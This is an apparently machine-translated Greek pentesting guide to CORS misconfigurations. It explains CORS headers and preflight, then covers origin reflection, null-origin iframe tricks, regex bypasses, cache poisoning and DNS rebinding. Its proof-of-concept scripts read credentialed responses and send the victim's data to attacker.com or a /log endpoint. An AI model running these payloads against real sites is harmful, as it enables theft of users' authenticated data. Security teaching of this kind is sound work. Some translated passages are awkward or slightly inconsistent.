CORS - Misconfigurations & Bypass

Reading time: 24 minutes

Τι είναι το CORS;

Το Cross-Origin Resource Sharing (CORS) standard επιτρέπει στους διακομιστές να καθορίζουν ποιος μπορεί να έχει πρόσβαση στα περιουσιακά τους στοιχεία και ποιοι μέθοδοι αιτήσεων HTTP επιτρέπονται από εξωτερικές πηγές.

Μια πολιτική ίδιου προέλευσης απαιτεί ο διακομιστής που ζητά έναν πόρο και ο διακομιστής που φιλοξενεί τον πόρο να μοιράζονται το ίδιο πρωτόκολλο (π.χ., http://), όνομα τομέα (π.χ., internal-web.com), και θύρα (π.χ., 80). Σύμφωνα με αυτή την πολιτική, μόνο οι ιστοσελίδες από τον ίδιο τομέα και θύρα επιτρέπεται να έχουν πρόσβαση στους πόρους.

Η εφαρμογή της πολιτικής ίδιου προέλευσης στο πλαίσιο του http://normal-website.com/example/example.html απεικονίζεται ως εξής:

*Ο Internet Explorer αγνοεί τον αριθμό θύρας στην επιβολή της πολιτικής ίδιου προέλευσης, επιτρέποντας έτσι αυτή την πρόσβαση.

Access-Control-Allow-Origin Header

Αυτή η κεφαλίδα μπορεί να επιτρέπει πολλές προελεύσεις, μια τιμή null, ή έναν χαρακτήρα μπαλαντέρ *. Ωστόσο, κανένας περιηγητής δεν υποστηρίζει πολλές προελεύσεις, και η χρήση του χαρακτήρα μπαλαντέρ * υπόκειται σε περιορισμούς. (Ο χαρακτήρας μπαλαντέρ πρέπει να χρησιμοποιείται μόνος του, και η χρήση του μαζί με Access-Control-Allow-Credentials: true δεν επιτρέπεται.)

Αυτή η κεφαλίδα είναι εκδοθείσα από έναν διακομιστή ως απάντηση σε ένα αίτημα πόρου διασύνδεσης που ξεκινά από μια ιστοσελίδα, με τον περιηγητή να προσθέτει αυτόματα μια κεφαλίδα Origin.

Access-Control-Allow-Credentials Header

Κατά προεπιλογή, οι διασυνδεδεμένες αιτήσεις γίνονται χωρίς διαπιστευτήρια όπως cookies ή την κεφαλίδα Authorization. Ωστόσο, ένας διακομιστής διασύνδεσης μπορεί να επιτρέψει την ανάγνωση της απάντησης όταν αποστέλλονται διαπιστευτήρια, ρυθμίζοντας την κεφαλίδα Access-Control-Allow-Credentials σε true.

Αν ρυθμιστεί σε true, ο περιηγητής θα μεταδώσει διαπιστευτήρια (cookies, κεφαλίδες εξουσιοδότησης ή πιστοποιητικά πελάτη TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Κατανόηση των Προ-πτήσεων σε Διασυνοριακή Επικοινωνία

Όταν ξεκινάτε ένα διασυνοριακό αίτημα υπό συγκεκριμένες συνθήκες, όπως η χρήση μιας μη τυπικής μεθόδου HTTP (οτιδήποτε εκτός από HEAD, GET, POST), η εισαγωγή νέων κεφαλίδων ή η χρήση μιας ειδικής τιμής κεφαλίδας Content-Type, μπορεί να απαιτείται μια προ-πτήση. Αυτό το προκαταρκτικό αίτημα, που εκμεταλλεύεται τη μέθοδο OPTIONS, έχει σκοπό να ενημερώσει τον διακομιστή για τις προθέσεις του επερχόμενου διασυνοριακού αιτήματος, συμπεριλαμβανομένων των μεθόδων HTTP και των κεφαλίδων που προτίθεται να χρησιμοποιήσει.

Το πρωτόκολλο Cross-Origin Resource Sharing (CORS) απαιτεί αυτή την προ-πτήση για να προσδιορίσει τη δυνατότητα της ζητούμενης διασυνοριακής λειτουργίας, επαληθεύοντας τις επιτρεπόμενες μεθόδους, κεφαλίδες και την αξιοπιστία της προέλευσης. Για μια λεπτομερή κατανόηση των συνθηκών που παρακάμπτουν την ανάγκη για προ-πτήση, ανατρέξτε στον ολοκληρωμένο οδηγό που παρέχεται από Mozilla Developer Network (MDN).

Είναι κρίσιμο να σημειωθεί ότι η απουσία προ-πτήσης δεν αναιρεί την απαίτηση να φέρει η απάντηση κεφαλίδες εξουσιοδότησης. Χωρίς αυτές τις κεφαλίδες, ο περιηγητής είναι ανίκανος να επεξεργαστεί την απάντηση από το διασυνοριακό αίτημα.

Σκεφτείτε την παρακάτω απεικόνιση ενός προ-πτήματος που στοχεύει στη χρήση της μεθόδου PUT μαζί με μια προσαρμοσμένη κεφαλίδα που ονομάζεται Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Ως απάντηση, ο διακομιστής μπορεί να επιστρέψει κεφαλίδες που υποδεικνύουν τις αποδεκτές μεθόδους, την επιτρεπόμενη προέλευση και άλλες λεπτομέρειες πολιτικής CORS, όπως φαίνεται παρακάτω:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: Αυτός ο επικεφαλής καθορίζει ποιοι επικεφαλής μπορούν να χρησιμοποιηθούν κατά τη διάρκεια του πραγματικού αιτήματος. Ρυθμίζεται από τον διακομιστή για να υποδείξει τους επιτρεπόμενους επικεφαλής σε αιτήματα από τον πελάτη.
• Access-Control-Expose-Headers: Μέσω αυτού του επικεφαλής, ο διακομιστής ενημερώνει τον πελάτη σχετικά με τους επικεφαλής που μπορούν να εκτεθούν ως μέρος της απάντησης εκτός από τους απλούς επικεφαλής απάντησης.
• Access-Control-Max-Age: Αυτός ο επικεφαλής υποδεικνύει πόσο καιρό μπορούν να αποθηκευτούν τα αποτελέσματα ενός προ-αιτήματος. Ο διακομιστής ρυθμίζει τον μέγιστο χρόνο, σε δευτερόλεπτα, που οι πληροφορίες που επιστρέφονται από ένα προ-αίτημα μπορεί να επαναχρησιμοποιηθούν.
• Access-Control-Request-Headers: Χρησιμοποιούμενος σε προ-αιτήματα, αυτός ο επικεφαλής ρυθμίζεται από τον πελάτη για να ενημερώσει τον διακομιστή σχετικά με τους HTTP επικεφαλής που ο πελάτης θέλει να χρησιμοποιήσει στο πραγματικό αίτημα.
• Access-Control-Request-Method: Αυτός ο επικεφαλής, που χρησιμοποιείται επίσης σε προ-αιτήματα, ρυθμίζεται από τον πελάτη για να υποδείξει ποια HTTP μέθοδος θα χρησιμοποιηθεί στο πραγματικό αίτημα.
• Origin: Αυτός ο επικεφαλής ρυθμίζεται αυτόματα από τον περιηγητή και υποδεικνύει την προέλευση του αιτήματος διασύνδεσης. Χρησιμοποιείται από τον διακομιστή για να αξιολογήσει αν το εισερχόμενο αίτημα πρέπει να επιτραπεί ή να απορριφθεί με βάση την πολιτική CORS.

Σημειώστε ότι συνήθως (ανάλογα με τον τύπο περιεχομένου και τους επικεφαλής που έχουν ρυθμιστεί) σε ένα GET/POST αίτημα δεν αποστέλλεται προ-αίτημα (το αίτημα αποστέλλεται άμεσα), αλλά αν θέλετε να έχετε πρόσβαση στους επικεφαλής/σώμα της απάντησης, πρέπει να περιέχει έναν επικεφαλή Access-Control-Allow-Origin που να το επιτρέπει.
Επομένως, το CORS δεν προστατεύει από CSRF (αλλά μπορεί να είναι χρήσιμο).

Τοπικά Δίκτυα Αιτήματα Προ-αίτημα

1. Access-Control-Request-Local-Network: Αυτός ο επικεφαλής περιλαμβάνεται στο αίτημα του πελάτη για να δηλώσει ότι η έρευνα απευθύνεται σε πόρο τοπικού δικτύου. Λειτουργεί ως δείκτης για να ενημερώσει τον διακομιστή ότι το αίτημα προέρχεται από το τοπικό δίκτυο.
2. Access-Control-Allow-Local-Network: Σε απάντηση, οι διακομιστές χρησιμοποιούν αυτόν τον επικεφαλή για να επικοινωνήσουν ότι ο ζητούμενος πόρος επιτρέπεται να κοινοποιηθεί σε οντότητες εκτός του τοπικού δικτύου. Λειτουργεί ως πράσινο φως για την κοινοποίηση πόρων σε διάφορα δίκτυα, διασφαλίζοντας ελεγχόμενη πρόσβαση ενώ διατηρεί τα πρωτόκολλα ασφαλείας.

Μια έγκυρη απάντηση που επιτρέπει το αίτημα τοπικού δικτύου πρέπει να έχει επίσης στην απάντηση τον επικεφαλή Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Wildcards

Σημειώστε ότι ακόμη και αν η παρακάτω διαμόρφωση φαίνεται πολύ επιτρεπτική:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Αυτό δεν επιτρέπεται από τους περιηγητές και επομένως τα διαπιστευτήρια δεν θα σταλούν με το αίτημα που επιτρέπεται από αυτό.

Εκμεταλλεύσιμες κακοδιαμορφώσεις

Έχει παρατηρηθεί ότι η ρύθμιση του Access-Control-Allow-Credentials σε true είναι προαπαιτούμενο για τις περισσότερες πραγματικές επιθέσεις. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στέλνει διαπιστευτήρια και να διαβάζει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το όφελος από το να κάνει ένας περιηγητής ένα αίτημα αντί να το κάνει ο ίδιος μειώνεται, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται μη εφικτή.

Εξαίρεση: Εκμετάλλευση Τοποθεσίας Δικτύου ως Αυθεντικοποίηση

Υπάρχει μια εξαίρεση όπου η τοποθεσία δικτύου του θύματος λειτουργεί ως μορφή αυθεντικοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιείται ως μεσολαβητής, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για την πρόσβαση σε εφαρμογές intranet. Αυτή η μέθοδος έχει ομοιότητες στην επίδραση με την DNS rebinding αλλά είναι πιο απλή στην εκμετάλλευση.

Αντανάκλαση του Origin στο Access-Control-Allow-Origin

Το σενάριο του πραγματικού κόσμου όπου η τιμή της κεφαλίδας Origin αντανάκλαται στο Access-Control-Allow-Origin είναι θεωρητικά απίθανο λόγω περιορισμών στη συνδυαστική χρήση αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα Access-Control-Allow-Origin αντιγράφοντας την τιμή της κεφαλίδας Origin. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ιδιαίτερα όταν ένας επιτιθέμενος χρησιμοποιεί ένα τομέα με όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Εκμετάλλευση του null Origin

Ο null origin, που καθορίζεται για καταστάσεις όπως ανακατευθύνσεις ή τοπικά αρχεία HTML, κατέχει μια μοναδική θέση. Ορισμένες εφαρμογές επιτρέπουν αυτόν τον origin για να διευκολύνουν την τοπική ανάπτυξη, επιτρέποντας ακούσια σε οποιαδήποτε ιστοσελίδα να μιμηθεί έναν null origin μέσω ενός sandboxed iframe, παρακάμπτοντας έτσι τους περιορισμούς CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Τεχνικές Παράκαμψης Κανονικών Εκφράσεων

Όταν συναντάτε μια λίστα επιτρεπόμενων τομέων, είναι κρίσιμο να δοκιμάσετε ευκαιρίες παράκαμψης, όπως η προσθήκη του τομέα του επιτιθέμενου σε έναν επιτρεπόμενο τομέα ή η εκμετάλλευση ευπαθειών κατάληψης υποτομέων. Επιπλέον, οι κανονικές εκφράσεις που χρησιμοποιούνται για την επικύρωση τομέων μπορεί να παραβλέπουν τις λεπτομέρειες στις συμβάσεις ονοματοδοσίας τομέων, προσφέροντας περαιτέρω ευκαιρίες παράκαμψης.

Προχωρημένες Παράκαμψεις Κανονικών Εκφράσεων

Τα μοτίβα Regex συνήθως επικεντρώνονται σε αλφαριθμητικούς χαρακτήρες, τελείες (.) και παύλες (-), παραβλέποντας άλλες δυνατότητες. Για παράδειγμα, ένα όνομα τομέα που έχει σχεδιαστεί για να περιλαμβάνει χαρακτήρες που ερμηνεύονται διαφορετικά από τους περιηγητές και τα μοτίβα regex μπορεί να παρακάμψει τους ελέγχους ασφαλείας. Η διαχείριση των χαρακτήρων υπογράμμισης σε υποτομείς από το Safari, το Chrome και το Firefox δείχνει πώς τέτοιες διαφορές μπορούν να εκμεταλλευτούν για να παρακάμψουν τη λογική επικύρωσης τομέα.

Για περισσότερες πληροφορίες και ρυθμίσεις αυτού του ελέγχου παράκαμψης: https://www.corben.io/advanced-cors-techniques/ και https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Από XSS μέσα σε έναν υποτομέα

Οι προγραμματιστές συχνά εφαρμόζουν αμυντικούς μηχανισμούς για να προστατευτούν από την εκμετάλλευση CORS, επιτρέποντας μόνο σε επιτρεπόμενους τομείς να ζητούν πληροφορίες. Παρά αυτές τις προφυλάξεις, η ασφάλεια του συστήματος δεν είναι αλάνθαστη. Η παρουσία ακόμη και ενός μόνο ευάλωτου υποτομέα μέσα στους επιτρεπόμενους τομείς μπορεί να ανοίξει την πόρτα για εκμετάλλευση CORS μέσω άλλων ευπαθειών, όπως το XSS (Cross-Site Scripting).

Για να το απεικονίσουμε, εξετάστε το σενάριο όπου ένας τομέας, requester.com, είναι επιτρεπόμενος να έχει πρόσβαση σε πόρους από έναν άλλο τομέα, provider.com. Η διαμόρφωση από την πλευρά του διακομιστή μπορεί να φαίνεται κάπως έτσι:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Σε αυτή τη ρύθμιση, όλα τα υποτομείς του requester.com επιτρέπεται να έχουν πρόσβαση. Ωστόσο, αν ένας υποτομέας, ας πούμε sub.requester.com, έχει παραβιαστεί με μια ευπάθεια XSS, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή την αδυναμία. Για παράδειγμα, ένας επιτιθέμενος με πρόσβαση στο sub.requester.com θα μπορούσε να εκμεταλλευτεί την ευπάθεια XSS για να παρακάμψει τις πολιτικές CORS και να αποκτήσει κακόβουλη πρόσβαση σε πόρους στο provider.com.

Ειδικοί Χαρακτήρες

Η λίστα ελέγχου παράκαμψης επικύρωσης URL του PortSwigger διαπίστωσε ότι ορισμένοι περιηγητές υποστηρίζουν παράξενους χαρακτήρες μέσα στα ονόματα τομέων.

Ο Chrome και ο Firefox υποστηρίζουν τις κάτω παύλες _ που μπορούν να παρακάμψουν τις regex που έχουν εφαρμοστεί για να επικυρώσουν την κεφαλίδα Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Ο Safari είναι ακόμη πιο επιεικής στην αποδοχή ειδικών χαρακτήρων στο όνομα τομέα:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Άλλες αστείες τεχνικές URL

URL Format Bypass

Μολυσματική αποθήκευση cache από τον διακομιστή

Από αυτή την έρευνα

Είναι πιθανό ότι εκμεταλλευόμενοι τη μολυσματική αποθήκευση cache από τον διακομιστή μέσω της έγχυσης HTTP κεφαλίδας, μπορεί να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο εκτυλίσσεται όταν μια εφαρμογή αποτυγχάνει να καθαρίσει την κεφαλίδα Origin από παράνομες χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες έγχυσης κεφαλίδας HTTP.

Σκεφτείτε το εξής αίτημα όπου η κεφαλίδα Origin είναι παραποιημένη:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Ο Internet Explorer και ο Edge ερμηνεύουν την απάντηση ως:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Ενώ η άμεση εκμετάλλευση αυτής της ευπάθειας με την αποστολή ενός κακοδιαμορφωμένου header από έναν περιηγητή ιστού δεν είναι εφικτή, ένα προσαρμοσμένο αίτημα μπορεί να παραχθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε αποθήκευση της απόκρισης σε cache πλευράς διακομιστή και κατά λάθος να την εξυπηρετήσει σε άλλους. Ο προσαρμοσμένος payload στοχεύει να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, μια κωδικοποίηση χαρακτήρων που συχνά σχετίζεται με ευπάθειες XSS λόγω της ικανότητάς της να κωδικοποιεί χαρακτήρες με τρόπο που μπορεί να εκτελείται ως script σε ορισμένα συμφραζόμενα.

Για περαιτέρω ανάγνωση σχετικά με τις αποθηκευμένες ευπάθειες XSS, δείτε PortSwigger.

Σημείωση: Η εκμετάλλευση ευπαθειών έγχυσης HTTP header, ιδιαίτερα μέσω δηλητηρίασης cache πλευράς διακομιστή, υπογραμμίζει τη ζωτική σημασία της επικύρωσης και απολύμανσης όλων των εισερχόμενων δεδομένων από χρήστες, συμπεριλαμβανομένων των HTTP headers. Χρησιμοποιείτε πάντα ένα ισχυρό μοντέλο ασφάλειας που περιλαμβάνει επικύρωση εισόδου για την αποφυγή τέτοιων ευπαθειών.

Δηλητηρίαση cache πλευράς πελάτη

Από αυτή την έρευνα

Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που ανακλά το περιεχόμενο ενός προσαρμοσμένου HTTP header χωρίς σωστή κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα ανακλά το περιεχόμενο που περιλαμβάνεται σε ένα X-User-id header, το οποίο θα μπορούσε να περιλαμβάνει κακόβουλο JavaScript, όπως αποδεικνύεται από το παράδειγμα όπου το header περιέχει μια ετικέτα SVG σχεδιασμένη να εκτελεί κώδικα JavaScript κατά την φόρτωση.

Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων headers. Ωστόσο, χωρίς η απόκριση να αποδίδεται άμεσα από τον περιηγητή λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας έγχυσης μπορεί να φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν εξετάζεται η συμπεριφορά της cache του περιηγητή. Εάν το header Vary: Origin δεν καθορίζεται, γίνεται δυνατή η αποθήκευση της κακόβουλης απόκρισης στην cache από τον περιηγητή. Στη συνέχεια, αυτή η αποθηκευμένη απόκριση θα μπορούσε να αποδοθεί άμεσα κατά την πλοήγηση στη διεύθυνση URL, παρακάμπτοντας την ανάγκη για άμεση απόδοση κατά την αρχική αίτηση. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος την cache πλευράς πελάτη.

Για να απεικονιστεί αυτή η επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελείται στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το script εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε μια καθορισμένη διεύθυνση URL με ένα προσαρμοσμένο header που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στη στοχοθετημένη διεύθυνση URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του εισαγόμενου script εάν η απόκριση έχει αποθηκευτεί στην cache χωρίς σωστή διαχείριση του header Vary: Origin.

Ακολουθεί μια συνοπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Παράκαμψη

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Πολιτική Ίδιου Προέλευσης (SOP) δεν ισχύει κατά την συμπερίληψη πόρων χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα σενάρια πρέπει να μπορούν να συμπεριληφθούν από διαφορετικά domains. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο έχει συμπεριληφθεί χρησιμοποιώντας την ετικέτα script.

Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες ambient-authority όπως τα cookies για αυθεντικοποίηση. Όταν ζητείται ένας πόρος από έναν διαφορετικό host, τα cookies περιλαμβάνονται, καθιστώντας τα προσβάσιμα στον επιτιθέμενο.

Για να κατανοήσετε καλύτερα και να μετριάσετε αυτή την ευπάθεια, μπορείτε να χρησιμοποιήσετε το plugin BurpSuite που είναι διαθέσιμο στο https://github.com/kapytein/jsonp. Αυτό το plugin μπορεί να βοηθήσει στην αναγνώριση και την αντιμετώπιση πιθανών ευπαθειών XSSI στις διαδικτυακές σας εφαρμογές.

Διαβάστε περισσότερα για τους διάφορους τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.

Δοκιμάστε να προσθέσετε μια callback παράμετρο στην αίτηση. Ίσως η σελίδα να έχει προετοιμαστεί για να στείλει τα δεδομένα ως JSONP. Σε αυτή την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με Content-Type: application/javascript, παρακάμπτοντας την πολιτική CORS.

Εύκολη (άχρηστη;) παράκαμψη

Ένας τρόπος για να παρακάμψετε τον περιορισμό Access-Control-Allow-Origin είναι να ζητήσετε από μια διαδικτυακή εφαρμογή να κάνει μια αίτηση εκ μέρους σας και να στείλει πίσω την απάντηση. Ωστόσο, σε αυτό το σενάριο, τα διαπιστευτήρια του τελικού θύματος δεν θα σταλούν καθώς η αίτηση γίνεται σε διαφορετικό domain.

1. CORS-escape: Αυτό το εργαλείο παρέχει έναν proxy που προωθεί την αίτησή σας μαζί με τις κεφαλίδες της, ενώ ταυτόχρονα παραποιεί την κεφαλίδα Origin για να ταιριάζει με το ζητούμενο domain. Αυτό παρακάμπτει αποτελεσματικά την πολιτική CORS. Ακολουθεί ένα παράδειγμα χρήσης με XMLHttpRequest:
2. simple-cors-escape: Αυτό το εργαλείο προσφέρει μια εναλλακτική προσέγγιση για την προώθηση αιτήσεων. Αντί να περάσει την αίτησή σας όπως είναι, ο server κάνει τη δική του αίτηση με τις καθορισμένες παραμέτρους.

Παράκαμψη Iframe + Popup

Μπορείτε να παρακάμψετε τους ελέγχους CORS όπως e.origin === window.origin δημιουργώντας ένα iframe και από αυτό να ανοίξετε ένα νέο παράθυρο. Περισσότερες πληροφορίες στη σελίδα που ακολουθεί:

Iframes in XSS, CSP and SOP

DNS Rebinding μέσω TTL

Το DNS rebinding μέσω TTL είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει ορισμένα μέτρα ασφαλείας με την παραποίηση των DNS records. Να πώς λειτουργεί:

1. Ο επιτιθέμενος δημιουργεί μια διαδικτυακή σελίδα και κάνει το θύμα να την επισκεφθεί.
2. Ο επιτιθέμενος στη συνέχεια αλλάζει το DNS (IP) του δικού του domain ώστε να δείχνει στη διαδικτυακή σελίδα του θύματος.
3. Ο περιηγητής του θύματος αποθηκεύει την απάντηση DNS, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδεικνύει πόσο καιρό θα πρέπει να θεωρείται έγκυρο το DNS record.
4. Όταν λήξει το TTL, ο περιηγητής του θύματος κάνει μια νέα αίτηση DNS, επιτρέποντας στον επιτιθέμενο να εκτελέσει κώδικα JavaScript στη σελίδα του θύματος.
5. Διατηρώντας τον έλεγχο της IP του θύματος, ο επιτιθέμενος μπορεί να συγκεντρώσει πληροφορίες από το θύμα χωρίς να στείλει κανένα cookie στον server του θύματος.

Είναι σημαντικό να σημειωθεί ότι οι περιηγητές έχουν μηχανισμούς caching που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.

Το DNS rebinding μπορεί να είναι χρήσιμο για την παράκαμψη ρητών ελέγχων IP που εκτελούνται από το θύμα ή για σενάρια όπου ένας χρήστης ή bot παραμένει στην ίδια σελίδα για παρατεταμένο χρονικό διάστημα, επιτρέποντας την λήξη της cache.

Αν χρειάζεστε έναν γρήγορο τρόπο για να καταχραστείτε το DNS rebinding, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως https://lock.cmpxchg8b.com/rebinder.html.

Για να εκτελέσετε τον δικό σας server DNS rebinding, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Αυτό περιλαμβάνει την έκθεση της τοπικής θύρας 53/udp, τη δημιουργία ενός A record που δείχνει σε αυτό (π.χ. ns.example.com) και τη δημιουργία ενός NS record που δείχνει στο προηγουμένως δημιουργηθέν A subdomain (π.χ. ns.example.com). Οποιοδήποτε subdomain του ns.example.com θα επιλυθεί από τον host σας.

Μπορείτε επίσης να εξερευνήσετε έναν δημόσια λειτουργούντα server στο http://rebind.it/singularity.html για περαιτέρω κατανόηση και πειραματισμό.

DNS Rebinding μέσω DNS Cache Flooding

Το DNS rebinding μέσω DNS cache flooding είναι μια άλλη τεχνική που χρησιμοποιείται για να παρακάμψει τον μηχανισμό caching των περιηγητών και να αναγκάσει μια δεύτερη αίτηση DNS. Να πώς λειτουργεί:

1. Αρχικά, όταν το θύμα κάνει μια αίτηση DNS, απαντάται με τη διεύθυνση IP του επιτιθέμενου.
2. Για να παρακάμψει την άμυνα caching, ο επιτιθέμενος εκμεταλλεύεται έναν service worker. Ο service worker πλημμυρίζει την cache DNS, η οποία διαγράφει αποτελεσματικά το cached όνομα server του επιτιθέμενου.
3. Όταν ο περιηγητής του θύματος κάνει μια δεύτερη αίτηση DNS, τώρα απαντάται με τη διεύθυνση IP 127.0.0.1, η οποία αναφέρεται συνήθως στο localhost.

Πλημμυρίζοντας την cache DNS με τον service worker, ο επιτιθέμενος μπορεί να χειραγωγήσει τη διαδικασία επίλυσης DNS και να αναγκάσει τον περιηγητή του θύματος να κάνει μια δεύτερη αίτηση, αυτή τη φορά επιλύοντας στη διεύθυνση IP που επιθυμεί ο επιτιθέμενος.

DNS Rebinding μέσω Cache

Ένας άλλος τρόπος για να παρακάμψετε την άμυνα caching είναι να χρησιμοποιήσετε πολλαπλές διευθύνσεις IP για το ίδιο subdomain στον πάροχο DNS. Να πώς λειτουργεί:

1. Ο επιτιθέμενος ρυθμίζει δύο A records (ή ένα μόνο A record με δύο IPs) για το ίδιο subdomain στον πάροχο DNS.
2. Όταν ένας περιηγητής ελέγχει για αυτά τα records, λαμβάνει και τις δύο διευθύνσεις IP.
3. Αν ο περιηγητής αποφασίσει να χρησιμοποιήσει πρώτα τη διεύθυνση IP του επιτιθέμενου, ο επιτιθέμενος μπορεί να εξυπηρετήσει ένα payload που εκτελεί HTTP αιτήσεις στο ίδιο domain.
4. Ωστόσο, μόλις ο επιτιθέμενος αποκτήσει τη διεύθυνση IP του θύματος, σταματά να απαντά στον περιηγητή του θύματος.
5. Ο περιηγητής του θύματος, συνειδητοποιώντας ότι το domain είναι μη ανταγωνιστικό, προχωρά στη χρήση της δεύτερης διευθυνσης IP που δόθηκε.
6. Με την πρόσβαση στη δεύτερη διεύθυνση IP, ο περιηγητής παρακάμπτει την Πολιτική Ίδιου Προέλευσης (SOP), επιτρέποντας στον επιτιθέμενο να καταχραστεί αυτό και να συγκεντρώσει και να εξάγει πληροφορίες.

Αυτή η τεχνική εκμεταλλεύεται τη συμπεριφορά των περιηγητών όταν παρέχονται πολλαπλές διευθύνσεις IP για ένα domain. Με στρατηγικό έλεγχο των απαντήσεων και χειραγώγηση της επιλογής διεύθυνσης IP του περιηγητή, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την SOP και να αποκτήσει πληροφορίες από το θύμα.

warning

Σημειώστε ότι για να αποκτήσετε πρόσβαση στο localhost θα πρέπει να προσπαθήσετε να επανασυνδέσετε 127.0.0.1 στα Windows και 0.0.0.0 σε Linux.
